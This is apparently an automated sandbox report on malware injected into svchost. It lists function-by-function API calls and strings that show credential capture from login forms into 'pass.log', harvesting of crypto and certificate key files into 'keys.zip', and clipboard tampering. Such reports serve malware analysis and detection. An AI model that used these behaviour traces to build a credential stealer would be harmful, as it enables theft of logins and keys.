Opcode Fuzzy Hash: 2b5d1b2012bd9ae7f3124b070fba5dae7f4bd62ce57e6959b311a3f7f952f045
Instruction Fuzzy Hash: 9321D671D81254A7E722E654DC4DBE9B3ACDF44719F208689FE44A60C0D7B45F848AA2

Function 02C7C9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(02CBD6A8,?), ref: 02C7CA07
lstrlenA.KERNEL32(02CBD6A8,?,?,02C861D1), ref: 02C7CA12
wsprintfA.USER32 ref: 02C7CA52
wsprintfA.USER32 ref: 02C7CA62
wsprintfA.USER32 ref: 02C7CA72
wsprintfA.USER32 ref: 02C7CA7F
wsprintfA.USER32 ref: 02C7CA8C

Strings

MSCTF.Shared.MAPPING.%x, xrefs: 02C7CA48, 02C7CA58, 02C7CA68
MSCTF.Shared.MUTEX.%x, xrefs: 02C7CA75, 02C7CA82

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf$ComputerNamelstrlen
String ID: MSCTF.Shared.MAPPING.%x$MSCTF.Shared.MUTEX.%x
API String ID: 776485234-1938657081
Opcode ID: 34c49a98c2f3da91a95aee6fd643c74d9e5d278e1fff4f1a5c1e83be57eb9a20
Instruction ID: 4f281b4965ab4645f2a855e6039ddb837b837f02e4bdfe07565213358f8d337e
Opcode Fuzzy Hash: 34c49a98c2f3da91a95aee6fd643c74d9e5d278e1fff4f1a5c1e83be57eb9a20
Instruction Fuzzy Hash: 6A012D72ED02587DF22666E5AC47DF77B5CDF81A52F410776F84752040D9A05E00CAB2

Function 02C78630 Relevance: 13.5, APIs: 9, Instructions: 43clipboardmemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,?), ref: 02C7863B
GlobalLock.KERNEL32(00000000), ref: 02C7864A
GlobalUnlock.KERNEL32(00000000), ref: 02C78661
OpenClipboard.USER32(00000000), ref: 02C78669
GlobalFree.KERNEL32(00000000), ref: 02C78676
GetLastError.KERNEL32 ref: 02C78681
EmptyClipboard.USER32 ref: 02C78687
SetClipboardData.USER32(00000001,00000000), ref: 02C78690
CloseClipboard.USER32 ref: 02C78696

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyErrorFreeLastLockOpenUnlock
String ID:
API String ID: 4128149074-0
Opcode ID: f5055803d4cc30bc26f8218214dcff48e7a1b6b9fd65af536ea44528800121ef
Instruction ID: bcc6ebb28586aa2af1744841ab3729a61f90c1b9fdc9e02adbdc07cdfc94f63e
Opcode Fuzzy Hash: f5055803d4cc30bc26f8218214dcff48e7a1b6b9fd65af536ea44528800121ef
Instruction Fuzzy Hash: 4FF04472A84284AFD7015BA5BC8CF5B7BACEF88326F044655FA0DC3141DB7098218660

Function 02C9E6D0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,02C98817,00000004), ref: 02C9E737

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: c90b312789074b0205176c452a4f2296d311b816923bfb5513e3d95fbb56f09d
Instruction ID: 8809aeba94acb1b4cd9fd2406f2df005efe3646a09cd2de55401464d0af224d0
Opcode Fuzzy Hash: c90b312789074b0205176c452a4f2296d311b816923bfb5513e3d95fbb56f09d
Instruction Fuzzy Hash: D4519F70A00B01ABEB20CF79C888BD7B7F5EF85714F60895ED56E87280DB31A6019B50

Function 02C91150 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C9116E
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02C91193
StrStrIA.SHLWAPI(00000000,\clmain.exe), ref: 02C911A5

Strings

\clmain.exe, xrefs: 02C91199

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileModuleNamememset
String ID: \clmain.exe
API String ID: 350293641-582869414
Opcode ID: 07b77963ca84e51e3e4e4426c7f825cba2275471efa8de69b28ec33cb12ce073
Instruction ID: 8612c5f56324f6a3a35b79f9aaee419075629bab937a1ab13b56e47f2d9977c4
Opcode Fuzzy Hash: 07b77963ca84e51e3e4e4426c7f825cba2275471efa8de69b28ec33cb12ce073
Instruction Fuzzy Hash: 97F0AE719942086BEB54D6749C46BE573ACDB54705F0006D5EA4DC60C0E7F155D88A91

Function 02C9C3DB Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C9C3F9
GetDriveTypeA.KERNEL32(?), ref: 02C9C43E
SetErrorMode.KERNEL32(00000001), ref: 02C9C4B2
free.MSVCRT ref: 02C9C4DF

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Drive$ErrorLogicalModeStringsTypefree
String ID:
API String ID: 2496910992-0
Opcode ID: 8c72acc23544a2b183772906408102910aa18aa9b5e8c7a720d7394e280cae27
Instruction ID: ddda68bf6b47aa3effb100a9642183e40d22baf30358de738433dca4d76275b1
Opcode Fuzzy Hash: 8c72acc23544a2b183772906408102910aa18aa9b5e8c7a720d7394e280cae27
Instruction Fuzzy Hash: EC313A7270429E8FCF10CE98E8886FE7758EF5A354F1006A3E94587241D7318766CBA2

Function 02C8F1B0 Relevance: 86.1, APIs: 42, Strings: 7, Instructions: 347memorysleepstringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8F1D0
PathAddBackslashA.SHLWAPI(7f1bfddb), ref: 02C8F1F7
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F235
GetLastError.KERNEL32 ref: 02C8F23F
IsUserAnAdmin.SHELL32 ref: 02C8F247
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F259
SetLastError.KERNEL32(00000000), ref: 02C8F260
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8F29C
DeleteFileA.KERNEL32(?), ref: 02C8F2AA
PathAddBackslashA.SHLWAPI(7f1bfddb,?,?), ref: 02C8F2E5
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F31F
GetLastError.KERNEL32 ref: 02C8F329
IsUserAnAdmin.SHELL32 ref: 02C8F331
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F340

Part of subcall function 02C96FF0: UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000,?), ref: 02C97017
Part of subcall function 02C96FF0: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97037
Part of subcall function 02C96FF0: CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97048
Part of subcall function 02C96FF0: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97061
Part of subcall function 02C96FF0: CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97072

SetLastError.KERNEL32(00000000), ref: 02C8F347
GetFileAttributesA.KERNEL32(?), ref: 02C8F375
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8F3A0
memset.MSVCRT ref: 02C8F3EB
lstrcpynA.KERNEL32(?,secret.key,00000104), ref: 02C8F405
memset.MSVCRT ref: 02C8F448
lstrcpynA.KERNEL32(?,secret.key,00000104,?,secret.key,00000002), ref: 02C8F462
Sleep.KERNEL32(000003E8,?,?,02CB854C,00000002), ref: 02C8F487
memset.MSVCRT ref: 02C8F4CA
lstrcpynA.KERNEL32(?,pubkeys.key,00000104), ref: 02C8F4E4
Sleep.KERNEL32(000003E8,?,?,pubkeys.key,00000002), ref: 02C8F509
GetProcessHeap.KERNEL32(00000000,?,?), ref: 02C8F540
HeapValidate.KERNEL32(00000000), ref: 02C8F543
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8F550
HeapFree.KERNEL32(00000000), ref: 02C8F553
CreateMutexA.KERNEL32(00000000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14},?), ref: 02C8F562
Sleep.KERNEL32(000003E8), ref: 02C8F573
ReleaseMutex.KERNEL32(00000000), ref: 02C8F57A
GetHandleInformation.KERNEL32 ref: 02C8F58E
CloseHandle.KERNEL32(00000000), ref: 02C8F5A0
GetProcessHeap.KERNEL32(00000000,?,?,?,pubkeys.key,00000002), ref: 02C8F5CD
HeapValidate.KERNEL32(00000000), ref: 02C8F5D0
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8F5DD
HeapFree.KERNEL32(00000000), ref: 02C8F5E0
GetProcessHeap.KERNEL32(00000000,00000000,?,?,pubkeys.key,00000002), ref: 02C8F5E9
HeapValidate.KERNEL32(00000000), ref: 02C8F5EC
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F5FD
HeapFree.KERNEL32(00000000), ref: 02C8F600

Strings

secret.key, xrefs: 02C8F3F8, 02C8F409, 02C8F455
path.txt, xrefs: 02C8F278
P0#v, xrefs: 02C8F57A
Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}, xrefs: 02C8F559
pubkeys.key, xrefs: 02C8F4D7, 02C8F4E8
7f1bfddb, xrefs: 02C8F1F2, 02C8F1FD, 02C8F2E0, 02C8F2EB
keys.zip, xrefs: 02C8F35A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$HandleProcess$ErrorFileLastPathmemset$CloseCreateDirectoryFreeInformationSleepValidatelstrcpyn$AdminAttributesBackslashFolderMakeMutexSystemUser$CurrentDeleteReleaseUnmapView
String ID: 7f1bfddb$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v$keys.zip$path.txt$pubkeys.key$secret.key
API String ID: 3271848171-2785687885
Opcode ID: 9e9a589f59627213d390dea9d56c8f8a65815f6c6738a9538559d0f58d6135f8
Instruction ID: edd937d9dd211fdf14849e06959a517aaf84cf3747b41e19b0852adfee06e489
Opcode Fuzzy Hash: 9e9a589f59627213d390dea9d56c8f8a65815f6c6738a9538559d0f58d6135f8
Instruction Fuzzy Hash: 06C13771A44385AFE722AF74DC49BAB7BE8EF85708F448A5CF54987140DB70D608CBA1

Function 02C7F860 Relevance: 75.6, APIs: 40, Strings: 3, Instructions: 311memorynetworkCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000110,?,?,?), ref: 02C7F8A1
HeapAlloc.KERNEL32(00000000), ref: 02C7F8A4
memset.MSVCRT ref: 02C7F8BE
InternetQueryOptionA.WININET(?,00000022,00000000,?), ref: 02C7F8DE
GetProcessHeap.KERNEL32(00000008,?), ref: 02C7F8FF
HeapAlloc.KERNEL32(00000000), ref: 02C7F902
memset.MSVCRT ref: 02C7F917
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C7F92D
InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02C7F949
InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02C7F95C
GetProcessHeap.KERNEL32(00000008,00000110), ref: 02C7F96C
HeapAlloc.KERNEL32(00000000), ref: 02C7F96F
memset.MSVCRT ref: 02C7F98A
InternetQueryOptionA.WININET(?,00000029,00000000,00000104), ref: 02C7F99D
GetProcessHeap.KERNEL32(00000008,?), ref: 02C7F9E9
HeapAlloc.KERNEL32(00000000), ref: 02C7F9EC
memset.MSVCRT ref: 02C7FA00
memset.MSVCRT ref: 02C7FA10
memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02C7FA1E
_snprintf.MSVCRT ref: 02C7FA60
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7FA8C
HeapValidate.KERNEL32(00000000), ref: 02C7FA8F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7FA9C
HeapFree.KERNEL32(00000000), ref: 02C7FA9F
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAAB
HeapValidate.KERNEL32(00000000), ref: 02C7FAAE
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FABB
HeapFree.KERNEL32(00000000), ref: 02C7FABE
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAD4
HeapValidate.KERNEL32(00000000), ref: 02C7FAD7
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAE4
HeapFree.KERNEL32(00000000), ref: 02C7FAE7
GetProcessHeap.KERNEL32(00000000,?,?), ref: 02C7FB06
HeapValidate.KERNEL32(00000000), ref: 02C7FB0F
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB18
HeapFree.KERNEL32(00000000), ref: 02C7FB1B
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB27
HeapValidate.KERNEL32(00000000), ref: 02C7FB2A
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB33
HeapFree.KERNEL32(00000000), ref: 02C7FB36

Strings

[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s, xrefs: 02C7FA59
}}}, xrefs: 02C7FA78
UserAgent, xrefs: 02C7FA3D, 02C7FA49

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidatememset$AllocInternetOptionQuery$FileModuleName_snprintfmemcpy
String ID: UserAgent$[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s$}}}
API String ID: 1808236364-2343086565
Opcode ID: 5059307e4bb5ab225c1b9cbe16d8d201204079fcf2b91f4c19c6fad84db03181
Instruction ID: 79b30ae1e4b622c55ed223cae5a6f65302ab7b872334e227b12909a26e2ec0b2
Opcode Fuzzy Hash: 5059307e4bb5ab225c1b9cbe16d8d201204079fcf2b91f4c19c6fad84db03181
Instruction Fuzzy Hash: F9A1E471D40219ABDB11DFA89C89FEFBBB8EF84714F048549F904A7280DB709E05CBA1

Function 02C8C9E0 Relevance: 68.4, APIs: 25, Strings: 14, Instructions: 184threadCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(?,self.cer,00000000,00000000,00000000,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA1A
StrStrIA.SHLWAPI(?,\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA28
StrStrIA.SHLWAPI(00000001,02CB4230,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA35
StrStrIA.SHLWAPI(?,\micros~\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAA7
StrStrIA.SHLWAPI(?,\maxthon3\public\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAB7
StrStrIA.SHLWAPI(?,\microsoft\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAC7
StrStrIA.SHLWAPI(?,\crypto pro\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAD7
StrStrIA.SHLWAPI(?,\progra~1\crypto~1\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAE7
StrStrIA.SHLWAPI(?,\temporary internet files\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAF7
StrStrIA.SHLWAPI(?,:\users\public,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB07
StrStrIA.SHLWAPI(?,02CB81F4,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB17
StrStrIA.SHLWAPI(00000000,02CB4230,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB23
StrStrIA.SHLWAPI(?,\cryptokit\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB33
StrStrIA.SHLWAPI(?,:\progra~1\common~1\crypto~1,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB3F
CreateThread.KERNEL32(00000000,00000000,02C8B260,?,00000000,00000000), ref: 02C8CB62

Strings

\temporary internet files\, xrefs: 02C8CAF1
\microsoft\crypto\, xrefs: 02C8CAC1
:\progra~1\common~1\crypto~1, xrefs: 02C8CB39
\crypto pro\, xrefs: 02C8CAD1
\progra~1\crypto~1\, xrefs: 02C8CAE1
\maxthon3\public\, xrefs: 02C8CAB1
\crypto\, xrefs: 02C8CA22
\cryptokit\, xrefs: 02C8CB2D
\private\, xrefs: 02C8CA6C, 02C8CA85
crypto, xrefs: 02C8CA4E
:\users\public, xrefs: 02C8CB01
self.cer, xrefs: 02C8CA14
\public\, xrefs: 02C8CA79, 02C8CA91
\micros~\crypto\, xrefs: 02C8CAA1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: :\progra~1\common~1\crypto~1$:\users\public$\crypto pro\$\crypto\$\cryptokit\$\maxthon3\public\$\microsoft\crypto\$\micros~\crypto\$\private\$\progra~1\crypto~1\$\public\$\temporary internet files\$crypto$self.cer
API String ID: 2422867632-4225811205
Opcode ID: d8506171dc54286aaa14f5635b2bd32ad6b004eb0e6c86e0684824d830d2683b
Instruction ID: f957749078c1dfe3f2d110b89996cccc822d6fa633d1d0f0118c3aedab972dff
Opcode Fuzzy Hash: d8506171dc54286aaa14f5635b2bd32ad6b004eb0e6c86e0684824d830d2683b
Instruction Fuzzy Hash: AB417271A8172675FA2AB6359C89FBB5E9C8ED09DCF108533FC06E2005EB74C70585B1

Function 02C87A80 Relevance: 66.7, APIs: 28, Strings: 10, Instructions: 244memorystringthreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000002,7622F570,?,?), ref: 02C87AA3
HeapAlloc.KERNEL32(00000000), ref: 02C87AAA
memset.MSVCRT ref: 02C87ABE
IsBadReadPtr.KERNEL32(?,?), ref: 02C87ADB
memcpy.MSVCRT(00000000,?,?), ref: 02C87AEC
strstr.MSVCRT ref: 02C87AFD
strstr.MSVCRT ref: 02C87B10
PathAddBackslashA.SHLWAPI(7F1BFF41), ref: 02C87B3D
PathAppendA.SHLWAPI(?,7F1BFF41), ref: 02C87B4B
PathAddBackslashA.SHLWAPI(7F1BFF41), ref: 02C87B56
strstr.MSVCRT ref: 02C87BB8
strstr.MSVCRT ref: 02C87BCB
PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C87BFD
PathAppendA.SHLWAPI(?,7F1BF8F3), ref: 02C87C0B
PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C87C16
CreateThread.KERNEL32(00000000,00000000,02C90BE0,00000000,00000000,00000000), ref: 02C87C71
strstr.MSVCRT ref: 02C87C90
strstr.MSVCRT ref: 02C87CA3
PathAddBackslashA.SHLWAPI(7F1BF93B), ref: 02C87CCF
PathAppendA.SHLWAPI(?,7F1BF93B), ref: 02C87CDD
PathAddBackslashA.SHLWAPI(7F1BF93B), ref: 02C87CE8
CreateThread.KERNEL32(00000000,00000000,02C92320,00000000,00000000,00000000), ref: 02C87D43
GetHandleInformation.KERNEL32(00000000,?), ref: 02C87D5B
CloseHandle.KERNEL32(00000000), ref: 02C87D6C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C87D7B
HeapValidate.KERNEL32(00000000), ref: 02C87D7E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C87D8B
HeapFree.KERNEL32(00000000), ref: 02C87D8E

Strings

&ctl00%24MainMenu%24Login1%24Password=, xrefs: 02C87C9D
7F1BF93B, xrefs: 02C87CCA, 02C87CD1, 02C87CE3, 02C87CEA
&ctl00%24MainMenu%24Login1%24UserName=, xrefs: 02C87C8A
login=, xrefs: 02C87AF7
password=, xrefs: 02C87B0A
pass_, xrefs: 02C87BC5
pass.log, xrefs: 02C87B78, 02C87C38, 02C87D0A
name_, xrefs: 02C87BB2
7F1BFF41, xrefs: 02C87B38, 02C87B3F, 02C87B51, 02C87B58
7F1BF8F3, xrefs: 02C87BF8, 02C87BFF, 02C87C11, 02C87C18

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashHeapstrstr$AppendProcess$CreateHandleThread$AllocCloseFreeInformationReadValidatememcpymemset
String ID: &ctl00%24MainMenu%24Login1%24Password=$&ctl00%24MainMenu%24Login1%24UserName=$7F1BF8F3$7F1BF93B$7F1BFF41$login=$name_$pass.log$pass_$password=
API String ID: 3712039096-1140291071
Opcode ID: 04d6f07cc634f9f4b2c971c0afa54e9ed0c96637571968c6b731d1860e327f11
Instruction ID: 252726fe71358585feb8e42241803de4c5eb0124164b5c0843582dd19360e73c
Opcode Fuzzy Hash: 04d6f07cc634f9f4b2c971c0afa54e9ed0c96637571968c6b731d1860e327f11
Instruction Fuzzy Hash: D8818E31E4075467E7129B249C99FEB7BAC9F81745F24C0A5FD4997280EB70E948CBE0

Function 02C8E3D0 Relevance: 65.0, APIs: 31, Strings: 6, Instructions: 253memorysynchronizationsleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfde3), ref: 02C8E3F8
CreateDirectoryA.KERNEL32(02CCB8D0,00000000), ref: 02C8E439
GetLastError.KERNEL32 ref: 02C8E43F
IsUserAnAdmin.SHELL32 ref: 02C8E447
PathMakeSystemFolderA.SHLWAPI(02CCB8D0), ref: 02C8E456
SetLastError.KERNEL32(00000000), ref: 02C8E45D
SetFileAttributesA.KERNEL32(02CCB8D0,00000000), ref: 02C8E499
DeleteFileA.KERNEL32(02CCB8D0), ref: 02C8E4A4
PathAddBackslashA.SHLWAPI(7f1bfde3,?,?), ref: 02C8E4E6
CreateDirectoryA.KERNEL32(02CCB4B0,00000000), ref: 02C8E521
GetLastError.KERNEL32 ref: 02C8E527
IsUserAnAdmin.SHELL32 ref: 02C8E52F
PathMakeSystemFolderA.SHLWAPI(02CCB4B0), ref: 02C8E53E
SetLastError.KERNEL32(00000000), ref: 02C8E545
CreateDirectoryA.KERNEL32(02CCB4B0,00000000), ref: 02C8E573
GetLastError.KERNEL32 ref: 02C8E579
IsUserAnAdmin.SHELL32 ref: 02C8E581
PathMakeSystemFolderA.SHLWAPI(02CCB4B0), ref: 02C8E590
SetLastError.KERNEL32(00000000), ref: 02C8E597
GetFileAttributesA.KERNEL32(?), ref: 02C8E5A1
memset.MSVCRT ref: 02C8E5D7
SHFileOperationA.SHELL32(?), ref: 02C8E651
CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E662
Sleep.KERNEL32(000003E8), ref: 02C8E673
ReleaseMutex.KERNEL32(00000000), ref: 02C8E67A
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E68C
CloseHandle.KERNEL32(00000000), ref: 02C8E69C
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8E6AE
HeapValidate.KERNEL32(00000000), ref: 02C8E6B1
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8E6BE
HeapFree.KERNEL32(00000000), ref: 02C8E6C1

Strings

path.txt, xrefs: 02C8E478
keys\, xrefs: 02C8E559
P0#v, xrefs: 02C8E67A
\*.bk, xrefs: 02C8E600
Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C8E65B
7f1bfde3, xrefs: 02C8E3F3, 02C8E3FE, 02C8E4E1, 02C8E4EC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$CreateFileHeap$AdminDirectoryFolderMakeSystemUser$AttributesBackslashHandleMutexProcess$CloseDeleteFreeInformationOperationReleaseSleepValidatememset
String ID: 7f1bfde3$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v$\*.bk$keys\$path.txt
API String ID: 959110331-2830706348
Opcode ID: 9db40ca901118254195b30c4ea7cab12428f95a52a08c20201bb54579ef10ea2
Instruction ID: 6466789fbf7a30f9a499f4654a09d8404d133709c81ab2713913d2c9a38732de
Opcode Fuzzy Hash: 9db40ca901118254195b30c4ea7cab12428f95a52a08c20201bb54579ef10ea2
Instruction Fuzzy Hash: A2911870E4468A9FE7129FB4982D7AB7BE8EF89309F148695F845D7301EB30CA05C790

Function 02C77110 Relevance: 63.2, APIs: 32, Strings: 4, Instructions: 182memorysleepsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02C76CD0: IsUserAnAdmin.SHELL32 ref: 02C76CDA
Part of subcall function 02C76CD0: memset.MSVCRT ref: 02C76D11
Part of subcall function 02C76CD0: memset.MSVCRT ref: 02C76D29
Part of subcall function 02C76CD0: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,?,?,7622F380), ref: 02C76D4B
Part of subcall function 02C76CD0: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,?,00000104,?,?,?,?,7622F380), ref: 02C76D71
Part of subcall function 02C76CD0: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,7622F380), ref: 02C76DFD
Part of subcall function 02C76CD0: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,7622F380), ref: 02C76E04

OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02C77155
Sleep.KERNEL32(00000064), ref: 02C77162
OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02C77174
ReleaseMutex.KERNEL32(00000000), ref: 02C7717D
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C77195
CloseHandle.KERNEL32(00000000), ref: 02C771A7
GetProcessHeap.KERNEL32(00000000,00000000,80F500FDa,80f5007ca), ref: 02C771B2
